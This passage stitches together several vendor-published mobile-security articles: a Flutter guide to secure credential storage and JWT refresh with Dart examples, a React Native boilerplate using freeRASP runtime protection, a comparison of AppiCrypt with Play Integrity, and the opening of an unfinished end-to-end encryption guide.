  String apiKey = dotenv.env['API_KEY'] ?? '';
  runApp(MyApp(apiKey: apiKey));
}
  • Sanitize Logs in Production: Ensure that the debugging of sensitive information is disabled or sanitized in production builds.

4. Managing Credential Lifecycles: Rotation and Expiry

Using long-lived credentials increases the risk of exploitation. In case of compromise, implementing token rotation and short-lived credentials—such as JSON Web Tokens (JWTs)—minimizes the exposure window.

Scenario: Handling Token Refresh

The app should automatically refresh a token using a secure process when it expires.

import 'dart:convert';
import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'package:http/http.dart' as http;

final FlutterSecureStorage secureStorage = FlutterSecureStorage();

Future<bool> refreshToken() async {
  final String? currentRefreshToken = await secureStorage.read(key: 'refreshToken');
  if (currentRefreshToken == null) {
    print('No refresh token found.');
    return false;
  }

  final Uri url = Uri.parse('https://yourapi.com/api/refresh');
  try {
    final response = await http.post(
      url,
      headers: {'Content-Type': 'application/json'},
      body: jsonEncode({'refreshToken': currentRefreshToken}),
    );

    if (response.statusCode == 200) {
      final Map<String, dynamic> data = jsonDecode(response.body);
      final String newJwt = data['jwt'];
      await secureStorage.write(key: 'jwt', value: newJwt);
      print('Token refreshed successfully.');
      return true;
    } else {
      print('Failed to refresh token: ${response.statusCode}');
      return false;
    }
  } catch (error) {
    print('Error during token refresh: $error');
    return false;
  }
}

This mechanism ensures that even if an attacker intercepts a token, its usefulness is limited by its short lifespan.

5. Enhancing Security During Data Transmission

Even with secure local storage, transmitting credentials over insecure channels exposes them to interception. All network communications should occur over HTTPS, and additional measures like certificate pinning can further enhance security.

import 'package:http/http.dart' as http;

Future<void> secureLogin(String username, String password) async {
  final Uri url = Uri.parse('https://secure.example.com/api/login');
  try {
    final response = await http.post(
      url,
      headers: {'Content-Type': 'application/json'},
      body: jsonEncode({
        'username': username,
        'password': password,
      }),
    );
    
    if (response.statusCode == 200) {
      print('Login successful.');
    } else {
      print('Login failed with status: ${response.statusCode}');
    }
  } catch (error) {
    print('Error during login: $error');
  }
}

To further protect against man-in-the-middle attacks, consider implementing certificate pinning. This additional step verifies that your app communicates only with trusted servers.

6. Code Obfuscation and Environment Separation

Another layer of defense is to make it harder for attackers to reverse engineer your app. Flutter provides support for limited code obfuscation (it is mostly just minification!) during the build process, which can help mask the logic of your code by renaming function and class names making it more challenging to navigate during reverse engineering process.

When building your Flutter app for release, you can enable obfuscation with the following command:

flutter build apk --obfuscate --split-debug-info=/<project>/<directory>

In addition, separating sensitive configuration from your main codebase using environment variables or external configuration files further reduces exposure. Tools like flutter_dotenv allow you to manage configuration settings without embedding them directly into the source code.

7. Integrating Runtime Application Self-Protection (RASP)

Runtime Application Self-Protection (RASP) is an assertive security technology that monitors your application in real-time to detect, alert, and even block malicious activities as they occur. RASP embeds security controls within the application to analyze its behavior during execution and respond to threats dynamically.

How RASP Can Help

  1. Real-Time Threat Detection:

    1. RASP continuously monitors the app’s runtime behavior to identify suspicious actions, such as abnormal API calls, repeated failed login attempts, or attempts to tamper with the app’s execution. This allows your app to react immediately to potential threats.

  2. Automated Response:

    1. Upon detecting a threat, RASP can trigger automated responses—like terminating a session, logging the event, or alerting a backend system—thus minimizing the window of vulnerability.

  3. Enhanced Forensics:

    1. By logging detailed information about runtime events, RASP can help you understand how an attack was attempted, providing valuable insights for further strengthening your app's security.

  4. Additional Layer of Defense:

    1. Even if vulnerabilities exist in other parts of your application, RASP serves as a last line of defense by ensuring that malicious behavior is caught and mitigated during execution.

One excellent tool for this purpose is freeRASP, a Flutter package that brings RASP capabilities directly into your project. freeRASP helps detect runtime threats, logs them, and even allows you to trigger automated responses to mitigate potential damage.

Integrating freeRASP into Your Flutter App

Integrating freeRASP is straightforward. The package provides an initialization function where you can set up a callback for when a threat is detected. Below is an example of how to integrate freeRASP in your Flutter application.

Step 1: Add freeRASP to Your Project

Add freeRASP to your pubspec.yaml file:

dependencies:
  flutter:
    sdk: flutter
  freerasp: ^1.0.0  # Check for the latest version on pub.dev

Then, run flutter pub get to install the package.

Step 2: Initialize freeRASP in Your Main Function

Set up freeRASP during the initialization phase of your application. This ensures that threat monitoring starts as soon as your app runs.

import 'package:flutter/material.dart';
import 'package:freerasp/freerasp.dart';

void main() async {
  WidgetsFlutterBinding.ensureInitialized();

  // Initialize freeRASP with a callback to handle detected threats
  await freeRASP.initialize(
    onThreatDetected: (threatInfo) {
      // Handle the threat: log it, alert the user, or trigger mitigation actions.
      print("Threat Detected: ${threatInfo.message}");
      // For example, you might want to invalidate the current session or logout the user.
    },
  );

  runApp(MyApp());
}

class MyApp extends StatelessWidget {
  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Secure Flutter App',
      home: HomeScreen(),
    );
  }
}

In this example, freeRASP is initialized before the app starts. The onThreatDetected callback provides you with a threatInfo object that contains details about the detected threat. You can use this information to log events, notify users, or take immediate action to protect your app.

Step 3: Monitor and React to Threats in Critical Areas

While freeRASP continuously monitors your app in the background, you might also want to check for threats at critical junctures—such as during user authentication or before accessing sensitive data. To perform an on-demand check, you can call freeRASP’s functions directly within your app logic.

import 'package:freerasp/freerasp.dart';

Future<void> secureOperation() async {
  // Optionally check for threats before performing a critical operation
  bool threatPresent = await freeRASP.isThreatPresent();
  if (threatPresent) {
    print("Operation halted due to detected threat.");
    // Take appropriate measures, such as blocking access or alerting the user
    return;
  }
  
  // Continue with the secure operation if no threats are detected
  // ... your secure code here ...
}

This example demonstrates how you might integrate an additional security check before executing sensitive operations, reinforcing the protection provided by freeRASP.

Implementing a Secure Credential Management Flow

Let’s build a more complete example that shows how a Flutter app can handle secure credential management from login to token rotation. This example assumes a backend that issues a JWT and a refresh token.

Step 1: Secure Login and Token Storage

First, we need to implement a login method that securely stores both the JWT and the refresh token.

import 'dart:convert';
import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'package:http/http.dart' as http;

final FlutterSecureStorage secureStorage = FlutterSecureStorage();

Future<bool> login(String username, String password) async {
  final Uri url = Uri.parse('https://secure.example.com/api/login');
  try {
    final response = await http.post(
      url,
      headers: {'Content-Type': 'application/json'},
      body: jsonEncode({
        'username': username,
        'password': password,
      }),
    );

    if (response.statusCode == 200) {
      // Parse response to extract tokens
      final Map<String, dynamic> data = jsonDecode(response.body);
      final String jwt = data['jwt'];
      final String refreshToken = data['refreshToken'];

      // Store tokens securely
      await secureStorage.write(key: 'jwt', value: jwt);
      await secureStorage.write(key: 'refreshToken', value: refreshToken);
      print('Login successful, tokens stored securely.');
      return true;
    } else {
      print('Login failed with status: ${response.statusCode}');
      return false;
    }
  } catch (error) {
    print('Error during login: $error');
    return false;
  }
}

Step 2: Using the Token in API Requests

Once the JWT is stored, it can be used to authenticate further API requests. Here’s an example of how to attach the token to a request:

Future<http.Response> fetchUserData() async {
  final String? jwt = await secureStorage.read(key: 'jwt');
  if (jwt == null) {
    throw Exception('JWT not found. User might not be logged in.');
  }

  final Uri url = Uri.parse('https://secure.example.com/api/userdata');
  final response = await http.get(
    url,
    headers: {
      'Content-Type': 'application/json',
      'Authorization': 'Bearer $jwt',
    },
  );

  return response;
}

Step 3: Handling Token Expiry and Refresh

JWTs are designed to expire after a short period. When a token expires, the app should use the stored refresh token to request a new JWT.

Future<bool> refreshJwt() async {
  final String? refreshToken = await secureStorage.read(key: 'refreshToken');
  if (refreshToken == null) {
    print('Refresh token not found.');
    return false;
  }

  final Uri url = Uri.parse('https://secure.example.com/api/refresh');
  try {
    final response = await http.post(
      url,
      headers: {'Content-Type': 'application/json'},
      body: jsonEncode({'refreshToken': refreshToken}),
    );

    if (response.statusCode == 200) {
      final Map<String, dynamic> data = jsonDecode(response.body);
      final String newJwt = data['jwt'];
      // Update the stored JWT
      await secureStorage.write(key: 'jwt', value: newJwt);
      print('JWT refreshed successfully.');
      return true;
    } else {
      print('Failed to refresh JWT. Status: ${response.statusCode}');
      return false;
    }
  } catch (error) {
    print('Error refreshing JWT: $error');
    return false;
  }
}

Putting It All Together

Improving credential security is not about relying on a single solution; it’s about building a defense-in-depth strategy that layers multiple protective measures.

Putting It All Together - Overview Diagram

For Flutter developers, this involves:

  • Adopting Secure Storage: Replace insecure storage practices with robust solutions like flutter_secure_storage.

  • Ensuring Secure Communications: Always use HTTPS and consider implementing certificate pinning to protect data in transit.

  • Implementing Token Management: Use JWTs with short lifespans and secure refresh mechanisms to minimize exposure.

  • Enhancing Code Security: Utilize obfuscation and environment variable management to keep sensitive data out of the codebase.

  • Monitoring at Runtime: Consider RASP tools to dynamically detect and respond to credential misuse.

By addressing each layer of the credential lifecycle—from storage to transmission and renewal—you create a resilient application architecture against external attacks and internal oversights.

Conclusion

M1: Improper Credential Usage poses a serious risk to mobile security, especially for Flutter apps. By leveraging secure storage, enforcing HTTPS, rotating tokens, and integrating runtime monitoring with tools like freeRASP, you can protect sensitive data and build lasting trust with your users. Embrace these best practices to create robust, secure applications, and stay tuned for the next installment in our OWASP Mobile Top 10 series, where we continue to explore actionable strategies to safeguard your mobile apps.

React Native Secure Boilerplate 2024: Ignite with freeRASP

Boilerplate addressing vulnerabilities that standard setups often overlook.

Think Security: Our Take on a Leading React Native Boilerplate

In today’s digital landscape, mobile apps are not just about functionality—they’re also attractive targets for fraud and data theft. Security has become a fundamental part of app development, especially for apps handling sensitive user information. This article introduces a powerful option for app developers concerned with security: combining Ignite by Infinite Red, a leading React Native boilerplate, with freeRASP from Talsec—a free RASP solution—alongside other solutions to build secure and scalable apps.

React Native Secure Boilerplate: https://github.com/talsec/react-native-boilerplate

Ignite by Infinite Red

Ignite by Infinite Red is a robust React Native boilerplate featuring a CLI, component generators, and more. With over 12.2K GitHub stars, Ignite supports both Expo and bare React Native projects. It’s TypeScript-ready, utilizes MobX for state management, React Navigation for routing, Apisauce for REST APIs, and Jest for testing.

React Native's core features, such as Flipper, Reactotron, and Expo support, are enhanced by Ignite, which streamlines their use by providing pre-configured setups and simplifying integration. It also eases state management with MobX and ensures smooth state restoration by incorporating AsyncStorage with MST.

Ignite’s CLI can be accessed using npx for an always-updated version. You can create a new project with: For vanilla React Native: npx ignite-cli new newApp For Expo-powered projects: npx ignite-cli newApp –expo

Why Another Boilerplate?

Unlike other boilerplates that focus mainly on speed or provide a basic setup, this one is built for developers creating apps in high-risk industries like finance, healthcare, and e-commerce, where security is critical. The Ignite + freeRASP solution provides real-time protection against threats such as code tampering and unauthorized access, addressing vulnerabilities that standard setups often overlook. It’s designed to safeguard sensitive data and offer enhanced security for fraud-prone apps.

Disclaimer: Other solutions, such as paid options or even DIY approaches, may be suitable depending on your needs.

freeRASP: Adding Security to the Boilerplate

freeRASP is a lightweight Runtime Application Self-Protection (RASP) solution that provides real-time protection against a variety of threats. It’s built for easy integration and allows your app to react to detected risks automatically, like jailbreaking, tampering, or reverse engineering. Whether your app handles sensitive data or operates in an environment prone to fraud, freeRASP offers security features for post-launch protection and doesn't require external infrastructure, making it an accessible choice among several RASP options.

Key Advantages of freeRASP

  • Real-time Threat Reaction: Through a comprehensive API, freeRASP can immediately respond to detected attacks and security threats, providing dynamic protection for your app.

  • Ease of Integration: The solution features a simple download and installation process, complemented by clear source code snippets, ensuring a smooth integration experience.

  • Minimal Performance Impact: freeRASP is designed to be lightweight, which means it provides robust security without compromising the app’s performance or user experience.

  • Weekly Security Reports: freeRASP sends out regular email reports that detail the security status of your devices and the integrity of your app, helping you stay informed about potential vulnerabilities.

  • Compliance with OWASP MASVS V8: It meets the OWASP MASVS V8 standards for resiliency against reverse engineering, ensuring your app is protected against common reverse engineering threats.

How RASP Works

RASP is designed to detect and respond to threats in real-time. Here's a breakdown of how RASP solutions like freeRASP typically work:

  • Runtime Monitoring: Constantly checks for anomalies such as debugging attempts, code injections, or use of hooking frameworks like Frida or Xposed.

  • Periodic Scans: In addition to real time monitoring, freeRasp schedules periodic scans that run deeper into the app to check for irregularities and tampering.

  • Real-Time Responses: This enables Rasp to immediately take action against security breaches. Using predefined callbacks the app can be programmed to perform specific actions, such as alerting the user, restricting access to sensitive functionality, or even shutting down the app entirely.

  • Reporting and Alerts: freeRASP also compiles detailed weekly reports that summarize the security status of the app. These reports provide insights into any detected vulnerabilities, unauthorized access attempts, or security breaches. Developers can use this data to track trends in threats and take proactive steps to address vulnerabilities before they become serious problems.

freeRASP Features

  • Rooted or Jailbroken Devices: Protects against unauthorized access from tools like su, Magisk, unc0ver, check1rain, and Dopamine.

  • Reverse Engineering: Prevents attempts to analyze or manipulate your app’s code.

  • Hooking Frameworks: Detects and blocks frameworks like Frida, Xposed, and Shadow.

  • Tampering and Repackaging: Identifies and responds to unauthorized modifications or repackaging.

  • Untrusted Installations: Prevents installations from unofficial sources or app stores.

  • System VPN control: VPNs can obscure the user’s actual IP address and route data through servers potentially under external control, which might interfere with geographical restrictions and bypass network security settings.

  • Developer Mode control: Allows deeper system access and debugging capabilities that can bypass app security measures.

For more detailed information on these checks and their significance, visit the freeRASP docs.

freeRASP + Ignite: Combining Speed with Security

Integrating freeRASP with Ignite is straightforward and ensures your app is fortified against real-world security threats. Ignite accelerates development, while freeRASP delivers critical security features that safeguard your app. Integrating freeRASP with Ignite involves a few straightforward steps. For detailed instructions, check out our GitHub repository and Medium article.

  1. Install the freeRASP Package: Add the package to your project using yarn with yarn add freerasp-react-native. For iOS, run Pod install.

  2. Configure freeRASP: Set up the necessary fields (e.g., package name, certificate hashes) in your configuration file.

  3. Set Up Threat Reactions: Define how your app should respond to detected threats by creating an object mapping threat types to response functions.

  4. Initialize freeRASP: Use the provided custom hook to start threat detection with your configurations and reactions.

If you are interested in knowing additional details you can refer to the freeRASP documentation.

Build Your "Hello World" Project

With a brief outlook on how to configure freeRASP you might want to get a project up and running. Let’s look at how you might write code for a small “Hello World” project.

  1. Begin with creating a react native project using Ignite. Use the following commands to start your app:

Init Ignite project via CLI:
$ npm install -g ignite-cli
$ ignite new HelloWorldApp
  1. Install and configure freeRASP: First, create a configuration file named ‘freerasp.config.js’, where you will define your app's security and threat response settings. After that, use the useFreeRasp custom hook to initialize freeRASP. Here’s an example:

import { useFreeRasp } from 'freerasp-react-native'
  1. Combine all the elements:

import React, { useEffect } from 'react';  
import { Text, View, Alert } from 'react-native';  
import { useFreeRasp } from 'freerasp-react-native';  
import freeRaspConfig from './freerasp.config';  

const App = () => {  
  useFreeRasp(freeRaspConfig, threatResponses); 

  return (  
    <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>  
      <Text>Hello, World! Welcome to Ignite + freeRASP!</Text>  
    </View>  
  );  
};  

export default App;  

const threatResponses = {  
  privilegedAccess: () => Alert.alert('Threat detected', 'Privileged access detected!'),
  debug: () => Alert.alert('Threat detected', 'Debugger detected!'),
  simulator: () => Alert.alert('Threat detected', 'Simulator detected!'),
  appIntegrity: () => Alert.alert('Threat detected', 'App integrity issue detected!')  
};  

There you have it, you've now successfully built your first Ignite + freeRASP project with just a few simple steps. More importantly, with just a few lines of code, you've fortified your app against major security threats. This is a significant achievement because it allows you to implement strong security measures without needing to dive into the complexities of cybersecurity. With freeRASP, you can integrate a strong protection layer into your app, providing a safer experience for users. For those looking for even more extensive coverage, paid RASP solutions are also available.

Best Practices

You might have secured your app with RASP but now it’s your turn to play a part. As a developer it is essential to follow best practices when building web or mobile applications to ensure your app is completely secure, here are a few tips:

1. Secure Data Transmission

Always use HTTPS for secure communication between your app and server. Implement SSL pinning to prevent man-in-the-middle attacks.

2. Code Obfuscation

Ensure you always build for production so that Metro Bundler automatically minifies your JavaScript code, making it harder for attackers to reverse-engineer. Additionally, for Android, enable code obfuscation at the native level by setting the ‘minifyEnabled’ and ‘shrinkResources’ flags in your build.gradle file. This process further protects your code from being easily understood or modified.

3. Authentication

Ensure that strong authentication mechanisms, such as OAuth or JWT (JSON Web Tokens), are used to verify user identities.

4. Secure Storage

Never store sensitive data directly on the device. Use encrypted storage and secure system features like Keychain (iOS) and Keystore (Android).

5. Third-Party Libraries

Always vet third-party libraries for security risks. Make sure they are actively maintained and regularly updated.

Summary

In 2024, mobile app security is not optional—it’s essential. By combining Ignite for rapid development with freeRASP for runtime security, you can build a secure and scalable React Native mobile app with minimal effort. Developers can take advantage of freeRASP’s real-time threat detection and regular security reports to keep their apps safe without worrying about complex security implementations.

With a focus on fraud-prone industries and apps handling sensitive user data, this boilerplate provides everything you need to get started quickly while ensuring your app is protected against real-world threats.

Why wait? Explore freeRASP and other RASP options to secure your app today!

Mobile API Anti-abuse Protection with AppiCrypt®: A New Play Integrity and DeviceCheck Alternative

A New Play Integrity (former SafetyNet) and DeviceCheck Attestation Alternative

The excellence in mobile security has allowed us to develop a ground-breaking enhancement for mobile API security. Let’s look at the ®, a powerful tool that provides proof of app and device integrity for backends. We will explain common questions about these similar technologies and the application domains they can cover.

There has been a long-standing need to protect APIs against malicious requests and reverse-engineering attempts for the past years. APIs have become an attractive target for cybercriminals trying to seize business assets through information scraping, password brute force attacks, DDoS attacks, MitM attacks, fake accounts, remote code executions, and JSON denial-of-service attacks.

The mobile-first strategy heavily depends on the protection of both the application and API sides. API keys used within your application can be easily retrieved and misused. You need to remember that the mobile application installed on the users’ mobile devices is running in an uncontrolled and untrusted environment. It doesn’t matter whether it’s a renowned device brand like Samsung Galaxy or a EMV POS terminal. There are multiple ways your app may leak secrets.

The basics: API keys, client authentication, and pinning

From the API perspective, all calls must be performed over a secure channel between the client app and the API service. You will primarily utilize HTTPS and TLS in the majority of cases. Static and preferably dynamic certificate pinning (SSL pinning) can be used to provide verification of the backend.

The only thing missing is the verification of the authenticity of the client. The most popular choice (check this awesome ) is sending the API key within the requests header. Such authentication is often hardcoded into the clients code. Unfortunately, simple reverse engineering is enough to steal both API keys and client authentication secrets.

Once you acknowledge it is not secure enough, you can defer MitM by using SSL pinning and strengthen your application self-protection by using Runtime Application Self-Protection (RASP) suite like a to mitigate more attack vectors from within the App. The device is deeply inspected to determine whether it is rooted, jailbroken, or an emulator. Subsequently, the application is scanned to ensure it hasn’t been tampered with, reverse-engineered, run with debugger or repackaged. Both phases are needed to determine whether the application’s backends are communicating with a legitimate application running on an approved/genuine mobile device.

App authenticity and integrity of the device and the application can be additionally verified by remote attestation services like Play Integrity for Google Play enabled Android phones or DeviceCheck for iOS are good technologies but they have significant drawbacks that we will review later in detail. The good things are that they address API vulnerabilities that WAF and API gateway solutions cannot address as they miss endpoint integrity controls.

AppiCrypt® App and Device Attestation

An AppiCrypt® is a technique that ensures cryptographic evidence or proof of client App authenticity and integrity. On top of that, it provides device identity with security risk scoring for fraud prevention, enabling more sophisticated techniques like channel binding, device binding to users, step-up authentication, and others.

AppiCrypt® technology is the innovative solution that stands for App Integrity Cryptogram. Thanks to this technology, you can implement the idea of mobile endpoint protection in the concept of zero trust. AppiCrypt is the cryptographic integrity proof of both mobile OS and App that can help prevent mobile API abuse and eliminate the intrinsic weakness of standalone RASP protection.

Generally speaking, the RASP is always just mitigation of Reverse Engineering risk by making the attacker’s job more difficult. Conceptually, the attacker can cut off the RASP part from the app by tampering. So it depends mainly on the attackers’ experience, efforts, and resources available to break the RASP protection.

AppiCrypt solves similar problems as device attestation services like Play Integrity and DeviceCheck. In contrast to such attestation solutions, it doesn’t depend on external web services and doesn’t introduce any outage risk due to external party service unavailability. AppiCrypt solves significant security problems with minimum integration efforts on both application and backend sides.

The idea behind this technology is not just to protect API against attackers trying to impersonate legit App calls but also to let your backend know that RASP controls were overcome or turned off by attackers. So gateway can easily block the session if the App integrity is compromised, and only

in the case that RASP control passed API calls can be processed by backends. Moreover, AppiCrypt is enhanced with fine-grained application security intelligence for backends (like UI overlays, accessibility service usage, etc. ).

Play Integrity (SafetyNet) Attestation is not your savior

You’ve most probably heard about Google Play Integrity. Google’s attestation tool got quite popular because it is preinstalled on common devices equipped with Google Mobile Services. Like the AppiCrypt, it helps determine the overall integrity of the device. Make no mistake. Play Integrity, nor AppiCrypt, cannot replace proper Security Development Lifecycle (SDL), and both serve as additional security layers.

Play Integrity’s attestation information provides generalized binary conclusions about the device’s eligibility. The two checks are Basic integrity (“basicIntegrity”: true/false) and CTS profile match check based on (“ctsProfileMatch”: true/false). Yet the second one is only relevant to devices that have been Google-certified. Unfortunately, this gives no clue if you want to support specific platforms (i.e., EMV POS Terminal) or use-cases (i.e., Gaming Emulators) that Google considers inappropriate. The thing is, many users use unlocked devices because they are cheaper to get from 3rd party resellers, so you can’t rely on Play Integrity’s boolean result. Keep in mind that many devices (i.e., affordable Xiaomi models) are shipped with GMS but didn’t pass Google certification. Finally, it gives no threat signals also.

Common Play Integrity Disadvantages

  • It works only if Google Play Services and good network connectivity are available.

  • Downtimes may occure time-to-time (see figure below)

  • It has a caused by network latency and processing time

  • Play Integrity Attestation fails under many conditions based on network, quota, and other transient problems.

  • You need to implement verification of the Play Integrity’s result on your backend.

  • It doesn’t involve many checks (i.e., tapjacking, accessibility service abuse, screen lock status)

  • Google has no security process to ensure that an OEM ROM is clean. Hence, Play Integrity won’t guarantee you the safety of OEM ROM.

()

AppiCrypt vs. Play Integrity Pros and Cons

Pros of AppiCrypt

  • Universal across all platforms (Android with or without Google Services, iOS, Flutter)

  • Verification serverless component ready to use (i.e., AWS lambda authorizer)

  • Suited for demanding business (Fin-Tech, Healthcare, Gaming, Government)

  • Fine-grained threat signals

  • Reaction based on device identifiers, GPS emulation status, and screen lock status

  • Attestation even in lousy network connection without quota issues and other transient problems

  • Supports devices with an unlocked bootloader

  • Supports devices with a custom system ROMs

  • Supports devices for which the manufactured didn’t apply for, or pass, Google certification

  • Supports devices with a system image built directly from the Android Open Source Program source files.

  • Low latency

  • Zero dependencies on Google servers middleware means no single point of failure.

Pros of Play Integrity

  • Free quota allotment (per project) for calling the Play Integrity Attestation API is 10,000 requests per day and five requests per minute.

  • Developed and supported by the official Android team

  • Checks verified boot

AppiCrypt vs. Play Integrity Application Domains

The true strength of AppiCrypt lies in its ability to protect multiple application domains. Be it an iPhone, iPad, Amazon Fire Tablet, EMV POS Terminal, or Kiosk, you can use the same AppiCrypt and its backend component. If you need protection in every possible environment, the AppiCrypt is right for you.

To be fair, the Play Integrity also has some advantages over AppiCrypt. Play Integrity’s deep system integration allows for boot integrity checks thanks to better access to the trusted execution environment (TEE). After all, it’s developed directly by the Android team.

AppiCrypt application domains:

  • Virtually every Android device

  • iOS (iPhone, iPad)

  • Flutter apps

  • Huawei & Honor Devices since Huawei lost Google

  • EMV POS Terminals

  • Performance Critical Apps

  • Amazon Fire Tablets

  • Self-service Tablets

  • Kiosks

  • Gaming Emulators

  • Non-Google Areas (China)

  • Devices with custom ROMs

Enterprise Services

is courtesy of Talsec. If you are looking for a solution tailored to your specific needs, contact us at . We provide enhanced RASP protection with malware detection and detailed configurable threat reactions, immediate alerts, and penetration testing of your product to our commercial customers with a self-hosted cloud platform. To get the most advanced protection compliant with PSD2 RT and eIDAS and support from our experts, contact us via . written by Tomáš Soukal, Mobile Dev and Security Consultant at Talsec

| | Read also

AppiCrypt
write-up
freeRASP
high response time
original Google article
AppiCrypt
https://talsec.app
https://talsec.app/contact
https://talsec.app
[email protected]
5 Things John Learned Fighting Hackers of His App — A must-read for PM’s and CISO’s
AppiCrypt stands for App Integrity Cryptogram
Increasing tampering resistance helps reduce the chance of an API breach by slowing down attackers
Example of SafetyNet result made with YASNAC app. You can trick SafetyNet into giving false results by using the SafetyNet Fix module for Magisk.
Play Integrity service disruptions (src1, src2)
AppiCrypt works with Android, iOS and Flutter.
AppiCrypt vs. Play Integrity (SafetyNet) application domains nad capabilities.

Majid Hajian - Azure & AI advocate@Microsoft, Dart & Flutter community leader, Organizer@FlutterVikings, http://flutterengineering.io author

https://x.com/mhadaily

Cover
https://github.com/talsec/react-native-boilerplate
Logo
Logo
Logo
Logo
Logo

🚀A Developer’s Guide to Implement End-to-End Encryption in Mobile Apps 🛡️

Introduction

In today’s digital age, mobile apps have become the backbone of modern communication, financial transactions, and personal data storage. However, with this convenience comes an ever-present threat: eavesdropping. Malicious actors are constantly on the lookout for vulnerabilities in communication channels, exploiting them to intercept sensitive data such as passwords, messages, and payment details.

This is where End-to-End Encryption (E2EE) steps in as a guardian of privacy. By ensuring that data is encrypted from the moment it leaves the sender’s device until it is decrypted on the receiver’s device, E2EE renders intercepted data unreadable, providing robust protection against eavesdropping attacks.

In this article, we’ll explore:

▶️What eavesdropping is and its impact on mobile app security.

▶️The principles and benefits of E2EE.

▶️When to use E2EE.

▶️Step-by-step guidance on implementing E2EE in mobile apps, with practical examples for Flutter developers.

Whether you’re building a messaging app, a financial platform, or any app handling sensitive user data, mastering end-to-end encryption is a critical skill for modern developers. Let’s dive in and learn how to fortify your apps against eavesdropping and safeguard user trust.


What Eavesdropping Is and Its Impact on Mobile App Security?

Eavesdropping is a cyberattack where an unauthorized party intercepts and listens to or views private communications between two entities. For mobile apps, this often involves malicious actors exploiting vulnerabilities in network communication to access sensitive user data.

How Eavesdropping Happens

Eavesdropping can occur through various attack vectors, such as:

  1. Network Sniffing: Attackers use tools to capture unencrypted data sent over public Wi-Fi or unsecured networks.

  2. Man-in-the-Middle (MITM) Attacks: Malicious actors position themselves between the sender and receiver, intercepting and possibly modifying the data.

  3. Malicious Software: Spyware or other malware installed on the device can monitor communications.

  4. Outdated Protocols: Using outdated encryption standards (e.g., TLS 1.0) leaves communications vulnerable.

The Impact on Mobile App Security

Eavesdropping attacks can have severe consequences, including:

  1. Loss of Sensitive Data: Intercepted data can include login credentials, financial details, or personal communications, leading to identity theft or financial fraud.

  2. Reputational Damage: For app developers and organizations, a data breach caused by eavesdropping can lead to loss of user trust and damage to the brand.

  3. Regulatory Penalties: Failure to protect user data can result in violations of regulations like GDPR, HIPAA, or PCI DSS, leading to hefty fines.

  4. Increased Cybercrime: Intercepted data can be sold on the dark web, fueling further criminal activities.

To mitigate the risks of eavesdropping, mobile app developers must adopt robust security measures. End-to-End Encryption (E2EE) stands out as one of the most effective solutions, ensuring that data remains encrypted from the sender to the receiver, rendering it useless to attackers even if intercepted.

What is End-to-End Encryption?

End-to-End Encryption (E2EE) is a powerful security mechanism designed to protect data during transmission. It ensures that only the sender and the intended recipient can access the content of a communication, effectively shielding it from any third parties, including service providers, hackers, and even governments.

How Does End-to-End Encryption Work?

At its core, E2EE leverages cryptographic techniques to protect data. Here’s a simplified explanation of how it operates:

1️⃣ Key Generation:

  • A pair of cryptographic keys is created: a public key and a private key.

  • The public key is shared with others, while the private key remains secure on the user’s device.

2️⃣ Data Encryption:

  • When the sender transmits data, it is encrypted using the recipient’s public key.

  • This process converts the plaintext message into ciphertext, making it unreadable.

3️⃣ Secure Transmission:

  • The encrypted data travels across the network to its destination.

  • Even if intercepted, the ciphertext remains unintelligible without the private key.

4️⃣ Data Decryption:

  • Upon receiving the encrypted data, the recipient’s private key decrypts it back into its original plaintext form.

This ensures that even if the data is intercepted during transmission, it cannot be deciphered without the correct decryption key.


E2EE vs Non-E2EE Real World Usecases

To help understand the importance of End-to-End Encryption (E2EE), let’s look at some real-world applications that either use E2EE for security or do not use it for efficiency and usability reasons.

✅ Apps that Use E2EE

▶️WhatsApp, Signal, iMessage

  • Messages are encrypted from sender to receiver, making them unreadable by service providers, hackers, or governments. However, this makes multi-device support more complex and causes delays in first-time setup due to key generation.

▶️Zoom (E2EE Mode)

  • Meetings are encrypted from sender to receiver, ensuring privacy.

  • Trade-off: Some features like cloud recording and live transcription, Live streaming, Zoom Whiteboard and some other features are disabled.

❌ Apps that Do Not Use E2EE

▶️Google Drive, Dropbox

  • Files are encrypted in transit and at rest, but not E2EE, meaning the provider can access them.

  • Reason: This allows file previews, search indexing, and AI-powered organization but sacrifices user privacy.

▶️Telegram (by default)

  • Regular chats are NOT E2EE (only “Secret Chats” are). Messages are stored on Telegram’s servers.

  • Reason: Allows seamless multi-device syncing and message retrieval, but at the cost of privacy.

▶️Zoom (default mode)

  • Video calls are encrypted in transit, but Zoom’s servers can decrypt them to process features.

  • Reason: Allows cloud recording, real-time transcription, and better performance.

Why Some Services Choose NOT to Use E2EE?

While E2EE provides maximum privacy, it limits functionality in some applications. Many companies choose not to implement E2EE due to:

  • Multi-Device Syncing Challenges → Without server-side access to messages, syncing across multiple devices becomes harder.

  • Search & AI Limitations → Encrypted files/emails/messages cannot be indexed for search or analyzed for AI recommendations.

  • Performance & Cost Considerations → Encrypted files are larger, increasing storage & processing costs for cloud services.


Key Features of End-to-End Encryption

  • Data Confidentiality: E2EE ensures that only the sender and recipient can access the communication, preventing unauthorized access.

  • Tamper Detection: Any attempt to modify encrypted data during transmission will corrupt the ciphertext, alerting the recipient to potential tampering.

  • No Intermediary Access: Even service providers facilitating the communication cannot access the content, ensuring privacy.


How End-to-End Encryption Works in Mobile Apps

End-to-End Encryption (E2EE) in mobile apps is a practical implementation of cryptographic principles to secure communication. Here’s a detailed breakdown of how it works in the context of mobile applications:

Key Components of E2EE

To implement E2EE effectively, mobile apps rely on the following components:

1️⃣ Public and Private Keys (Asymmetric Encryption):

  • Each user has a unique pair of keys:

  • A public key to encrypt messages, which is shared with others.

  • A private key to decrypt messages, which remains securely stored on the user’s device.

2️⃣Symmetric Keys for Efficient Data Encryption:

  • A temporary symmetric key (e.g., AES key) is used for encrypting bulk data efficiently.

  • This symmetric key is encrypted using the recipient’s public key and sent along with the data.

3️⃣Secure Storage:

  • Private keys are securely stored on the device, using mechanisms like:

  • Secure Enclave (iOS).

  • Android Keystore (Android).

4️⃣Network Security:

  • Communication channels are secured using Transport Layer Security (TLS) to prevent interception during data transmission.


Challenges in E2EE Implementation

1️⃣ Key Management:

  • Safely generating, distributing, and storing cryptographic keys is complex and critical for ensuring security.

2️⃣ Performance:

  • Asymmetric encryption, such as RSA, can be computationally expensive, leading to potential performance bottlenecks in real-time applications.

3️⃣ Key Revocation:

